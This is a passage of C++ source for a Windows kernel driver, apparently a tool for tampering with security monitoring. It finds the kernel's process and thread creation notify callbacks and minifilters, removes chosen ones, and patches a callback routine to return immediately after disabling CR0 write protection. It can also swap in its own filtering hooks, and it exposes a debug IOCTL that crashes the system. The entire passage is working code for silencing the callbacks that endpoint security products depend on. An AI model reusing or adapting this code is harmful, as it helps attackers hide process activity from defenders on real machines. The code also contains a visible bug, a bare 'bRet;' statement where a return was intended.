= pCheckArea + (i - pCheckArea) + OffsetAddr + 5; 322 | break; 323 | } 324 | } 325 | 326 | LOG("[+] PspSetCreateThreadNotifyRoutine is at address: %llx", pCheckArea); 327 | 328 | for (i = pCheckArea; i < pCheckArea + 0xff; i++) 329 | { 330 | 331 | if (*(PUCHAR)i == OPCODE_LEA_RCX_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_RCX_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_RCX_3[g_WindowsIndex]) 332 | { 333 | OffsetAddr = 0; 334 | memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4); 335 | return OffsetAddr + 7 + i; 336 | } 337 | } 338 | 339 | return 0; 340 | } 341 | 342 | ////////////////////////////////////////////////////////////////////////// 343 | // Search module by address 344 | ////////////////////////////////////////////////////////////////////////// 345 | NTSTATUS SearchModules(ULONG64 ModuleAddr, ModulesData* ModuleFound) 346 | { 347 | NTSTATUS status = STATUS_SUCCESS; 348 | ULONG modulesSize; 349 | AUX_MODULE_EXTENDED_INFO* modules; 350 | ULONG numberOfModules, i; 351 | 352 | ModulesData ModuleFound2 = *ModuleFound; 353 | 354 | status = AuxKlibInitialize(); 355 | if (!NT_SUCCESS(status)) 356 | { 357 | LOG("AuxKlibInitialize fail %d", status); 358 | return status; 359 | } 360 | 361 | status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); 362 | if (!NT_SUCCESS(status) || modulesSize == 0) 363 | return status; 364 | 365 | numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); 366 | 367 | modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, modulesSize, DRIVER_TAG); 368 | if (modules == NULL) 369 | { 370 | status = STATUS_INSUFFICIENT_RESOURCES; 371 | return status; 372 | } 373 | 374 | RtlZeroMemory(modules, modulesSize); 375 | 376 | status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); 377 | if (!NT_SUCCESS(status)) 378 | { 379 | ExFreePoolWithTag(modules, DRIVER_TAG); 380 | return status; 381 | } 382 | 383 | for (i = 0; i < numberOfModules; i++) 384 | { 385 | if (ModuleAddr > (ULONG64)modules[i].BasicInfo.ImageBase && ModuleAddr < ((ULONG64)modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) 386 | { 387 | LOG("Found: %s", modules[i].FullPathName + modules[i].FileNameOffset); 388 | 389 | strcpy(ModuleFound2.ModuleName, (CHAR*)(modules[i].FullPathName + modules[i].FileNameOffset)); 390 | ModuleFound2.ModuleBase = (ULONG64)modules[i].BasicInfo.ImageBase; 391 | 392 | *ModuleFound = ModuleFound2; 393 | ExFreePoolWithTag(modules, DRIVER_TAG); 394 | 395 | return status; 396 | } 397 | } 398 | 399 | ExFreePoolWithTag(modules, DRIVER_TAG); 400 | 401 | return status; 402 | } 403 | 404 | ////////////////////////////////////////////////////////////////////////// 405 | // Gel list callback PS, THR and FS minifilters 406 | ////////////////////////////////////////////////////////////////////////// 407 | int GetAllList(PVOID inBuf, ULONG lenInBuf) 408 | { 409 | ULONG count = 0; 410 | ULONG maxCount; 411 | ModulesData ModuleFound; 412 | PCALLBACK_PS_FS buffer; 413 | 414 | buffer = (PCALLBACK_PS_FS)inBuf; 415 | maxCount = lenInBuf / sizeof(CALLBACK_PS_FS); 416 | if (maxCount == 0) 417 | return -1; 418 | 419 | ULONG64 PspCreateProcessNotifyRoutine = FindPspCreateProcessNotifyRoutine(); 420 | ULONG64 PspCreateThreadNotifyRoutine = FindPsSetCreateThreadNotifyRoutine(); 421 | 422 | ULONG64 i = 0; 423 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 424 | ULONG64 NotifyAddr2 = 0, MagicPtr2 = 0; 425 | CALLBACK_PS_FS cbPsFs; 426 | 427 | if (PspCreateProcessNotifyRoutine) 428 | { 429 | for (i = 0; i < 64; i++) 430 | { 431 | MagicPtr = PspCreateProcessNotifyRoutine + i * 8; 432 | NotifyAddr = *(PULONG64)(MagicPtr); 433 | 434 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 435 | { 436 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 437 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 438 | 439 | ::memset(&cbPsFs, 0, sizeof(cbPsFs)); 440 | cbPsFs.Type = TYPE_CALLBACK_PS; 441 | cbPsFs.Index = i; 442 | cbPsFs.NotifyAddress = NotifyAddr; 443 | 444 | ::memset(&ModuleFound, 0, sizeof(ModuleFound)); 445 | SearchModules(NotifyAddr, &ModuleFound); 446 | if (ModuleFound.ModuleBase != 0) 447 | { 448 | ModuleFound.ModuleBase = NotifyAddr - ModuleFound.ModuleBase; 449 | cbPsFs.ModuleBase = ModuleFound.ModuleBase; 450 | ::memcpy(cbPsFs.chModuleName, ModuleFound.ModuleName, sizeof(cbPsFs.chModuleName) - 1); 451 | } 452 | else 453 | { 454 | cbPsFs.ModuleBase = 0; 455 | ::memcpy(cbPsFs.chModuleName, ModuleFound.ModuleName, sizeof(cbPsFs.chModuleName) - 1); 456 | } 457 | 458 | if (count >= maxCount) 459 | return -1; 460 | 461 | ::memcpy(&buffer[count], &cbPsFs, sizeof(cbPsFs)); 462 | count++; 463 | } 464 | } 465 | } 466 | 467 | if (PspCreateThreadNotifyRoutine) 468 | { 469 | for (i = 0; i < 64; i++) 470 | { 471 | MagicPtr2 = PspCreateThreadNotifyRoutine + i * 8; 472 | NotifyAddr2 = *(PULONG64)(MagicPtr2); 473 | 474 | if (MmIsAddressValid((PVOID)NotifyAddr2) && NotifyAddr2 != 0) 475 | { 476 | NotifyAddr2 = *(PULONG64)(NotifyAddr2 & 0xfffffffffffffff8); 477 | LOG("[%d] CreateThreadNotifyRoutine: %llx", i, NotifyAddr2); 478 | 479 | ::memset(&cbPsFs, 0, sizeof(cbPsFs)); 480 | cbPsFs.Type = TYPE_CALLBACK_THR; 481 | cbPsFs.Index = i; 482 | cbPsFs.NotifyAddress = NotifyAddr2; 483 | 484 | ::memset(&ModuleFound, 0, sizeof(ModuleFound)); 485 | SearchModules(NotifyAddr2, &ModuleFound); 486 | if (ModuleFound.ModuleBase != 0) 487 | { 488 | ModuleFound.ModuleBase = NotifyAddr2 - ModuleFound.ModuleBase; 489 | cbPsFs.ModuleBase = ModuleFound.ModuleBase; 490 | ::memcpy(cbPsFs.chModuleName, ModuleFound.ModuleName, sizeof(cbPsFs.chModuleName) - 1); 491 | } 492 | else 493 | { 494 | 495 | cbPsFs.ModuleBase = 0; 496 | ::memcpy(cbPsFs.chModuleName, ModuleFound.ModuleName, sizeof(cbPsFs.chModuleName) - 1); 497 | } 498 | 499 | if (count >= maxCount) 500 | return -1; 501 | 502 | ::memcpy(&buffer[count], &cbPsFs, sizeof(cbPsFs)); 503 | count++; 504 | } 505 | } 506 | } 507 | 508 | PWCHAR data; 509 | ULONG cnt = FSH_GetListFilters(&data); 510 | for (i = 0; i < cnt; i++) 511 | { 512 | ::memset(&cbPsFs, 0, sizeof(cbPsFs)); 513 | 514 | cbPsFs.Type = TYPE_CALLBACK_FS; 515 | cbPsFs.Index = i; 516 | ::memcpy(cbPsFs.wcModuleName, &data[i * DEF_MOD_NAME_LEN_SYM], DEF_MOD_NAME_LEN_SYM * sizeof(WCHAR)); 517 | 518 | if (count >= maxCount) 519 | return -1; 520 | 521 | ::memcpy(&buffer[count], &cbPsFs, sizeof(cbPsFs)); 522 | count++; 523 | } 524 | 525 | return count * sizeof(CALLBACK_PS_FS); 526 | } 527 | 528 | ////////////////////////////////////////////////////////////////////////// 529 | // Driver entry 530 | ////////////////////////////////////////////////////////////////////////// 531 | extern "C" NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) 532 | { 533 | UNREFERENCED_PARAMETER(RegistryPath); 534 | 535 | g_WindowsIndex = GetWindowsIndex(); 536 | 537 | DriverObject->DriverUnload = DobroUnload; 538 | DriverObject->MajorFunction[IRP_MJ_CREATE] = DobroCreateClose; 539 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = DobroCreateClose; 540 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DobroDeviceControl; 541 | 542 | UNICODE_STRING devName = RTL_CONSTANT_STRING(DEVICE_NAME); 543 | 544 | PDEVICE_OBJECT DeviceObject; 545 | NTSTATUS status = IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); 546 | if (!NT_SUCCESS(status)) 547 | { 548 | LOG("[-] Failed to create device (0x%08X)", status); 549 | return status; 550 | } 551 | 552 | DeviceObject->Flags |= DO_BUFFERED_IO; 553 | 554 | UNICODE_STRING symLink = RTL_CONSTANT_STRING(DEVICE_SYM_LINK); 555 | status = IoCreateSymbolicLink(&symLink, &devName); 556 | if (!NT_SUCCESS(status)) 557 | { 558 | IoDeleteDevice(DeviceObject); 559 | 560 | LOG("[-] Failed to create symbolic link (0x%08X)", status); 561 | return status; 562 | } 563 | 564 | status = FSH_DriverEntry(DriverObject, RegistryPath); 565 | if (!NT_SUCCESS(status)) 566 | { 567 | IoDeleteSymbolicLink(&symLink); 568 | IoDeleteDevice(DeviceObject); 569 | 570 | LOG("[-] Failed to create symbolic link (0x%08X)", status); 571 | return status; 572 | } 573 | 574 | LOG("[+] DriverEntry PS callbacks initialize success"); 575 | 576 | return STATUS_SUCCESS; 577 | } 578 | 579 | ////////////////////////////////////////////////////////////////////////// 580 | // Driver unload 581 | ////////////////////////////////////////////////////////////////////////// 582 | VOID DobroUnload(PDRIVER_OBJECT DriverObject) 583 | { 584 | UNICODE_STRING symLink = RTL_CONSTANT_STRING(DEVICE_SYM_LINK); 585 | 586 | if (g_typePsNotifyCallback == TYPE_PS_NOTIFY_EX2) 587 | PsSetCreateProcessNotifyRoutineEx2(PsCreateProcessNotifySubsystems, PcreateProcessNotifyRoutineEx2, TRUE); 588 | else if (g_typePsNotifyCallback == TYPE_PS_NOTIFY_EX) 589 | PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)PcreateProcessNotifyRoutineEx, TRUE); 590 | else if (g_typePsNotifyCallback == TYPE_PS_NOTIFY) 591 | PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)PcreateProcessNotifyRoutine, TRUE); 592 | 593 | if (g_typeThrNotifyCallback == TYPE_THREAD_NOTIFY) 594 | PsRemoveCreateThreadNotifyRoutine(PcreateThreadNotifyRoutine); 595 | 596 | FSH_Unload(DriverObject); 597 | 598 | IoDeleteSymbolicLink(&symLink); 599 | IoDeleteDevice(DriverObject->DeviceObject); 600 | 601 | LOG("[+] Driver PS callbacks has been unloaded"); 602 | } 603 | 604 | ////////////////////////////////////////////////////////////////////////// 605 | // Driver create & close 606 | ////////////////////////////////////////////////////////////////////////// 607 | NTSTATUS DobroCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) 608 | { 609 | UNREFERENCED_PARAMETER(DeviceObject); 610 | 611 | Irp->IoStatus.Status = STATUS_SUCCESS; 612 | Irp->IoStatus.Information = 0; 613 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 614 | 615 | return STATUS_SUCCESS; 616 | } 617 | 618 | ////////////////////////////////////////////////////////////////////////// 619 | // Display modules in DbgPrint 620 | ////////////////////////////////////////////////////////////////////////// 621 | NTSTATUS DisplayModules() 622 | { 623 | NTSTATUS status = STATUS_SUCCESS; 624 | ULONG modulesSize; 625 | AUX_MODULE_EXTENDED_INFO* modules; 626 | ULONG numberOfModules, i; 627 | 628 | status = AuxKlibInitialize(); 629 | if (!NT_SUCCESS(status)) 630 | { 631 | LOG("AuxKlibInitialize fail (0x%08X)", status); 632 | return status; 633 | } 634 | 635 | status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); 636 | if (!NT_SUCCESS(status) || modulesSize == 0) 637 | return status; 638 | 639 | numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); 640 | 641 | modules = (AUX_MODULE_EXTENDED_INFO*)ExAllocatePoolWithTag(PagedPool, modulesSize, DRIVER_TAG); 642 | if (modules == NULL) 643 | { 644 | status = STATUS_INSUFFICIENT_RESOURCES; 645 | return status; 646 | } 647 | 648 | RtlZeroMemory(modules, modulesSize); 649 | 650 | status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); 651 | if (!NT_SUCCESS(status)) 652 | { 653 | ExFreePoolWithTag(modules, DRIVER_TAG); 654 | return status; 655 | } 656 | 657 | DbgPrint("[ ################################################################################ ]"); 658 | DbgPrint("[ ### ImageBase\t\t\tImageSize\t\t\t\t\t\t FileName FullPathName"); 659 | DbgPrint("[ ################################################################################ ]"); 660 | for (i = 0; i < numberOfModules; i++) 661 | { 662 | DbgPrint("[%03d] %p\t0x%08x\t%30s %s", 663 | i, 664 | modules[i].BasicInfo.ImageBase, 665 | modules[i].ImageSize, 666 | modules[i].FullPathName + modules[i].FileNameOffset, 667 | modules[i].FullPathName); 668 | } 669 | 670 | ExFreePoolWithTag(modules, DRIVER_TAG); 671 | 672 | return status; 673 | } 674 | 675 | ////////////////////////////////////////////////////////////////////////// 676 | // THR delete notify callback 677 | ////////////////////////////////////////////////////////////////////////// 678 | bool ThrDeleteNotifyCallback(PVOID inBuf, PINFO_NOTIFY_CALLBACK infoNotifyCallback) 679 | { 680 | NTSTATUS status; 681 | bool bRet = false; 682 | 683 | infoNotifyCallback->Type = TYPE_EMPTY_NOTIFY; 684 | infoNotifyCallback->NotifyAddress = 0; 685 | 686 | ULONG64 PspCreateThreadNotifyRoutine = FindPsSetCreateThreadNotifyRoutine(); 687 | if (!PspCreateThreadNotifyRoutine) 688 | bRet; 689 | 690 | int i = 0; 691 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 692 | DobroData* data = (DobroData*)inBuf; 693 | 694 | for (i = 0; i < 64; i++) 695 | { 696 | MagicPtr = PspCreateThreadNotifyRoutine + i * 8; 697 | NotifyAddr = *(PULONG64)(MagicPtr); 698 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 699 | { 700 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 701 | LOG("[%d] CreateThreadNotifyRoutine: %llx", i, NotifyAddr); 702 | 703 | if (data->index == i) 704 | { 705 | status = PsRemoveCreateThreadNotifyRoutine((PCREATE_THREAD_NOTIFY_ROUTINE)(NotifyAddr)); 706 | if (NT_SUCCESS(status)) 707 | { 708 | infoNotifyCallback->Type = TYPE_THREAD_NOTIFY; 709 | infoNotifyCallback->NotifyAddress = NotifyAddr; 710 | 711 | bRet = true; 712 | 713 | LOG("[+] Callback removed!"); 714 | } 715 | else 716 | { 717 | LOG("[-] Callback remove failed!"); 718 | } 719 | 720 | break; 721 | } 722 | } 723 | } 724 | 725 | return bRet; 726 | } 727 | ////////////////////////////////////////////////////////////////////////// 728 | // PS delete notify callback 729 | ////////////////////////////////////////////////////////////////////////// 730 | bool PsDeleteNotifyCallback(PVOID inBuf, PINFO_NOTIFY_CALLBACK infoNotifyCallback) 731 | { 732 | NTSTATUS status; 733 | bool bRet = false; 734 | 735 | infoNotifyCallback->Type = TYPE_EMPTY_NOTIFY; 736 | infoNotifyCallback->NotifyAddress = 0; 737 | 738 | ULONG64 PspCreateProcessNotifyRoutine = FindPspCreateProcessNotifyRoutine(); 739 | if (!PspCreateProcessNotifyRoutine) 740 | return bRet; 741 | 742 | int i = 0; 743 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 744 | DobroData* data = (DobroData*)inBuf; 745 | 746 | for (i = 0; i < 64; i++) 747 | { 748 | MagicPtr = PspCreateProcessNotifyRoutine + i * 8; 749 | NotifyAddr = *(PULONG64)(MagicPtr); 750 | 751 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 752 | { 753 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 754 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 755 | 756 | if (data->index == i) 757 | { 758 | status = PsSetCreateProcessNotifyRoutineEx2(PsCreateProcessNotifySubsystems, (PVOID)NotifyAddr, TRUE); 759 | if (NT_SUCCESS(status)) 760 | { 761 | infoNotifyCallback->Type = TYPE_PS_NOTIFY_EX2; 762 | infoNotifyCallback->NotifyAddress = NotifyAddr; 763 | 764 | bRet = true; 765 | LOG("[+] PsSetCreateProcessNotifyRoutineEx2 callback removed!"); 766 | break; 767 | } 768 | else 769 | { 770 | LOG("[!] PsSetCreateProcessNotifyRoutineEx2 callback remove failed!"); 771 | } 772 | 773 | status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)NotifyAddr, TRUE); 774 | if (NT_SUCCESS(status)) 775 | { 776 | infoNotifyCallback->Type = TYPE_PS_NOTIFY_EX; 777 | infoNotifyCallback->NotifyAddress = NotifyAddr; 778 | 779 | bRet = true; 780 | LOG("[+] PsSetCreateProcessNotifyRoutineEx callback removed!"); 781 | break; 782 | } 783 | else 784 | { 785 | LOG("[!] PsSetCreateProcessNotifyRoutineEx callback remove failed!"); 786 | } 787 | 788 | status = PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)NotifyAddr, TRUE); 789 | if (NT_SUCCESS(status)) 790 | { 791 | infoNotifyCallback->Type = TYPE_PS_NOTIFY; 792 | infoNotifyCallback->NotifyAddress = NotifyAddr; 793 | 794 | bRet = true; 795 | LOG("[+] PsSetCreateProcessNotifyRoutine callback removed!"); 796 | break; 797 | } 798 | else 799 | { 800 | LOG("[!] PsSetCreateProcessNotifyRoutine callback remove failed!"); 801 | } 802 | 803 | LOG("[-] Failed to remove PS notify routine!"); 804 | break; 805 | } 806 | } 807 | } 808 | 809 | return bRet; 810 | } 811 | 812 | ////////////////////////////////////////////////////////////////////////// 813 | // Driver device control 814 | ////////////////////////////////////////////////////////////////////////// 815 | NTSTATUS DobroDeviceControl(PDEVICE_OBJECT, PIRP Irp) 816 | { 817 | PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); 818 | NTSTATUS status = STATUS_UNSUCCESSFUL; 819 | ULONG inBufLength = 0; // Input buffer length 820 | ULONG outBufLength = 0; // Output buffer length 821 | PVOID inBuf = NULL, outBuf = NULL; // Pointer to Input and output buffer 822 | ULONG numWritten = 0; 823 | ULONG ioContolCode = 0; 824 | 825 | inBufLength = stack->Parameters.DeviceIoControl.InputBufferLength; 826 | outBufLength = stack->Parameters.DeviceIoControl.OutputBufferLength; 827 | inBuf = Irp->AssociatedIrp.SystemBuffer; 828 | outBuf = Irp->AssociatedIrp.SystemBuffer; 829 | ioContolCode = stack->Parameters.DeviceIoControl.IoControlCode; 830 | 831 | if (ioContolCode == IOCTL_DOBRO_PROCESS_ZEROOUT_ARRAY || 832 | ioContolCode == IOCTL_DOBRO_PROCESS_DELETE_CALLBACK || 833 | ioContolCode == IOCTL_DOBRO_PROCESS_CALLBACK_RET || 834 | ioContolCode == IOCTL_DOBRO_PROCESS_ROLLBACK_RET || 835 | ioContolCode == IOCTL_DOBRO_THREAD_ZEROOUT_ARRAY || 836 | ioContolCode == IOCTL_DOBRO_THREAD_DELETE_CALLBACK || 837 | ioContolCode == IOCTL_DOBRO_THREAD_CALLBACK_RET || 838 | ioContolCode == IOCTL_DOBRO_THREAD_ROLLBACK_RET || 839 | ioContolCode == IOCTL_DOBRO_HOOK_MINIFILTER || 840 | ioContolCode == IOCTL_DOBRO_HOOK_CALLBACK_PS || 841 | ioContolCode == IOCTL_DOBRO_HOOK_CALLBACK_THR) 842 | { 843 | if (inBufLength != sizeof(DobroData) || 844 | inBuf == NULL) 845 | { 846 | status = STATUS_INVALID_PARAMETER; 847 | goto End; 848 | } 849 | } 850 | 851 | if (ioContolCode == IOCTL_DOBRO_GET_LIST_ALL) 852 | { 853 | if (outBufLength != (sizeof(CALLBACK_PS_FS) * DEF_MOD_NAME_COUNT * 3) || 854 | outBuf == NULL) 855 | { 856 | status = STATUS_INVALID_PARAMETER; 857 | goto End; 858 | } 859 | } 860 | 861 | switch (stack->Parameters.DeviceIoControl.IoControlCode) 862 | { 863 | case IOCTL_DOBRO_HOOK_CALLBACK_PS: 864 | { 865 | if (g_typePsNotifyCallback != TYPE_EMPTY_NOTIFY) 866 | { 867 | status = STATUS_ALREADY_REGISTERED; 868 | break; 869 | } 870 | 871 | DobroData* dobroData = (DobroData*)inBuf; 872 | dobroData->wcModuleName[DEF_MOD_NAME_LEN_SYM - 1] = L'\0'; 873 | wcscpy_s(g_filteredPsName, DEF_MOD_NAME_LEN_SYM, dobroData->wcModuleName); 874 | 875 | INFO_NOTIFY_CALLBACK iNC; 876 | bool bRet = PsDeleteNotifyCallback(inBuf, &iNC); 877 | if (!bRet) 878 | { 879 | LOG("[-] Failed hook PS notify callback"); 880 | break; 881 | } 882 | 883 | InterlockedExchange(&g_typePsNotifyCallback, iNC.Type); 884 | InterlockedExchangePointer(&g_OrigPcreateProcessNotifyRoutine, (PVOID)iNC.NotifyAddress); 885 | 886 | if (iNC.Type == TYPE_PS_NOTIFY_EX2) 887 | status = PsSetCreateProcessNotifyRoutineEx2(PsCreateProcessNotifySubsystems, PcreateProcessNotifyRoutineEx2, FALSE); 888 | else if (iNC.Type == TYPE_PS_NOTIFY_EX) 889 | status = PsSetCreateProcessNotifyRoutineEx(PcreateProcessNotifyRoutineEx, FALSE); 890 | else if (iNC.Type == TYPE_PS_NOTIFY) 891 | status = PsSetCreateProcessNotifyRoutine(PcreateProcessNotifyRoutine, FALSE); 892 | else 893 | status = STATUS_UNSUCCESSFUL; 894 | 895 | if (!NT_SUCCESS(status)) 896 | { 897 | InterlockedExchange(&g_typePsNotifyCallback, TYPE_EMPTY_NOTIFY); 898 | InterlockedExchangePointer(&g_OrigPcreateProcessNotifyRoutine, NULL); 899 | 900 | LOG("[-] Failed hook PS notify callback"); 901 | break; 902 | } 903 | 904 | InterlockedExchange(&g_startHookFilterPS, TRUE); 905 | 906 | break; 907 | } 908 | 909 | case IOCTL_DOBRO_UNHOOK_CALLBACK_PS: 910 | { 911 | if (g_typePsNotifyCallback == TYPE_EMPTY_NOTIFY) 912 | { 913 | status = STATUS_ALREADY_REGISTERED; 914 | break; 915 | } 916 | 917 | InterlockedExchange(&g_startHookFilterPS, FALSE); 918 | 919 | if (g_typePsNotifyCallback == TYPE_PS_NOTIFY_EX2) 920 | { 921 | status = PsSetCreateProcessNotifyRoutineEx2(PsCreateProcessNotifySubsystems, PcreateProcessNotifyRoutineEx2, TRUE); 922 | status = PsSetCreateProcessNotifyRoutineEx2(PsCreateProcessNotifySubsystems, g_OrigPcreateProcessNotifyRoutine, FALSE); 923 | } 924 | else if (g_typePsNotifyCallback == TYPE_PS_NOTIFY_EX) 925 | { 926 | status = PsSetCreateProcessNotifyRoutineEx(PcreateProcessNotifyRoutineEx, TRUE); 927 | status = PsSetCreateProcessNotifyRoutineEx((PCREATE_PROCESS_NOTIFY_ROUTINE_EX)g_OrigPcreateProcessNotifyRoutine, FALSE); 928 | } 929 | else if (g_typePsNotifyCallback == TYPE_PS_NOTIFY) 930 | { 931 | status = PsSetCreateProcessNotifyRoutine(PcreateProcessNotifyRoutine, TRUE); 932 | status = PsSetCreateProcessNotifyRoutine((PCREATE_PROCESS_NOTIFY_ROUTINE)g_OrigPcreateProcessNotifyRoutine, FALSE); 933 | } 934 | else 935 | { 936 | status = STATUS_UNSUCCESSFUL; 937 | } 938 | 939 | InterlockedExchange(&g_typePsNotifyCallback, TYPE_EMPTY_NOTIFY); 940 | InterlockedExchangePointer(&g_OrigPcreateProcessNotifyRoutine, NULL); 941 | 942 | break; 943 | } 944 | 945 | case IOCTL_DOBRO_HOOK_CALLBACK_THR: 946 | { 947 | if (g_typeThrNotifyCallback != TYPE_EMPTY_NOTIFY) 948 | { 949 | status = STATUS_ALREADY_REGISTERED; 950 | break; 951 | } 952 | 953 | DobroData* dobroData = (DobroData*)inBuf; 954 | dobroData->wcModuleName[DEF_MOD_NAME_LEN_SYM - 1] = L'\0'; 955 | wcscpy_s(g_filteredThrName, DEF_MOD_NAME_LEN_SYM, dobroData->wcModuleName); 956 | 957 | INFO_NOTIFY_CALLBACK iNC; 958 | bool bRet = ThrDeleteNotifyCallback(inBuf, &iNC); 959 | if (!bRet) 960 | { 961 | LOG("[-] Failed hook THR notify callback"); 962 | break; 963 | } 964 | 965 | InterlockedExchange(&g_typeThrNotifyCallback, iNC.Type); 966 | InterlockedExchangePointer(&g_OrigPcreateThreadNotifyRoutine, (PVOID)iNC.NotifyAddress); 967 | 968 | if (iNC.Type == TYPE_THREAD_NOTIFY) 969 | status = PsSetCreateThreadNotifyRoutine(PcreateThreadNotifyRoutine); 970 | else 971 | status = STATUS_UNSUCCESSFUL; 972 | 973 | if (!NT_SUCCESS(status)) 974 | { 975 | InterlockedExchange(&g_typeThrNotifyCallback, TYPE_EMPTY_NOTIFY); 976 | InterlockedExchangePointer(&g_OrigPcreateThreadNotifyRoutine, NULL); 977 | 978 | LOG("[-] Failed hook THR notify callback"); 979 | break; 980 | } 981 | 982 | InterlockedExchange(&g_startHookFilterThr, TRUE); 983 | 984 | status = STATUS_SUCCESS; 985 | break; 986 | } 987 | 988 | case IOCTL_DOBRO_UNHOOK_CALLBACK_THR: 989 | { 990 | if (g_typeThrNotifyCallback == TYPE_EMPTY_NOTIFY) 991 | { 992 | status = STATUS_ALREADY_REGISTERED; 993 | break; 994 | } 995 | 996 | InterlockedExchange(&g_startHookFilterThr, FALSE); 997 | 998 | if (g_typeThrNotifyCallback == TYPE_THREAD_NOTIFY) 999 | { 1000 | status = PsRemoveCreateThreadNotifyRoutine(PcreateThreadNotifyRoutine); 1001 | status = PsSetCreateThreadNotifyRoutine((PCREATE_THREAD_NOTIFY_ROUTINE)g_OrigPcreateThreadNotifyRoutine); 1002 | } 1003 | else 1004 | { 1005 | status = STATUS_UNSUCCESSFUL; 1006 | } 1007 | 1008 | InterlockedExchange(&g_typeThrNotifyCallback, TYPE_EMPTY_NOTIFY); 1009 | InterlockedExchangePointer(&g_OrigPcreateThreadNotifyRoutine, NULL); 1010 | 1011 | break; 1012 | } 1013 | 1014 | case IOCTL_DOBRO_DBG_BSOD: 1015 | { 1016 | KeBugCheck(0xDEADBEEF); 1017 | break; 1018 | } 1019 | 1020 | case IOCTL_DOBRO_DBG_LIST_MODULES: 1021 | { 1022 | status = DisplayModules(); 1023 | break; 1024 | } 1025 | 1026 | case IOCTL_DOBRO_PROCESS_DELETE_CALLBACK: 1027 | { 1028 | INFO_NOTIFY_CALLBACK iNC; 1029 | bool bRet = PsDeleteNotifyCallback(inBuf, &iNC); 1030 | if (bRet) 1031 | status = STATUS_SUCCESS; 1032 | 1033 | break; 1034 | } 1035 | 1036 | case IOCTL_DOBRO_THREAD_DELETE_CALLBACK: 1037 | { 1038 | INFO_NOTIFY_CALLBACK iNC; 1039 | bool bRet = ThrDeleteNotifyCallback(inBuf, &iNC); 1040 | if (bRet) 1041 | status = STATUS_SUCCESS; 1042 | 1043 | break; 1044 | } 1045 | 1046 | case IOCTL_DOBRO_PROCESS_CALLBACK_RET: 1047 | { 1048 | ULONG64 PspCreateProcessNotifyRoutine = FindPspCreateProcessNotifyRoutine(); 1049 | if (!PspCreateProcessNotifyRoutine) 1050 | break; 1051 | 1052 | int i = 0; 1053 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1054 | DobroData* data = (DobroData*)inBuf; 1055 | 1056 | for (i = 0; i < 64; i++) 1057 | { 1058 | MagicPtr = PspCreateProcessNotifyRoutine + i * 8; 1059 | NotifyAddr = *(PULONG64)(MagicPtr); 1060 | if (MmIsAddressValid((PVOID)NotifyAddr) && NotifyAddr != 0) 1061 | { 1062 | NotifyAddr = *(PULONG64)(NotifyAddr & 0xfffffffffffffff8); 1063 | LOG("[%d] CreateProcessNotifyRoutine: %llx", i, NotifyAddr); 1064 | 1065 | if (data->index == i) 1066 | { 1067 | int LogicalProcessorsCount = KeQueryActiveProcessorCount(0); 1068 | 1069 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1070 | { 1071 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1072 | CR0_WP_OFF_x64(); 1073 | KeRevertToUserAffinityThreadEx(oldAffinity); 1074 | } 1075 | 1076 | PULONG64 pPointer = (PULONG64)NotifyAddr; 1077 | memcpy((g_ProcessStoreAddress + i * 8), pPointer, 8); 1078 | *pPointer = (ULONG64)0xc3; 1079 | 1080 | for (ULONG64 processorIndex = 0; processorIndex < LogicalProcessorsCount; processorIndex++) 1081 | { 1082 | KAFFINITY oldAffinity = KeSetSystemAffinityThreadEx((KAFFINITY)(1i64 << processorIndex)); 1083 | CR0_WP_ON_x64(); 1084 | KeRevertToUserAffinityThreadEx(oldAffinity); 1085 | } 1086 | 1087 | status = STATUS_SUCCESS; 1088 | break; 1089 | } 1090 | } 1091 | } 1092 | 1093 | break; 1094 | } 1095 | 1096 | case IOCTL_DOBRO_THREAD_CALLBACK_RET: 1097 | { 1098 | ULONG64 PspCreateThreadNotifyRoutine = FindPsSetCreateThreadNotifyRoutine(); 1099 | if (!PspCreateThreadNotifyRoutine) 1100 | break; 1101 | 1102 | int i = 0; 1103 | ULONG64 NotifyAddr = 0, MagicPtr = 0; 1104 | 